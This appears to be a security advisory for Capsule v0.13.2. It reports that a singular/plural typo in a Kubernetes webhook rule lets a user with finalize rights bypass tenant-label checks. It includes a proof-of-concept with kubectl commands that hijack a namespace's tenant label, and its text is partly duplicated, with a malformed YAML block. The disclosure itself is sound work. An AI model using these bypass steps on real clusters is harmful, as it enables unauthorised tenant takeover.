GHSA-gwxr-7h77-7777

### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.

### Details PUT to `/api/v1/namespaces/<ns>/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate.

### PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed.

### Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -> `namespaces/finalize`. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.

### Details In Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/<ns>/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request.

The `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos).

### PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): ```bash # Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice # Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice # Error: admission webhook denied

# Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json # modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice # 200 OK - tenant label changed ```

### Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -> `namespaces/finalize`.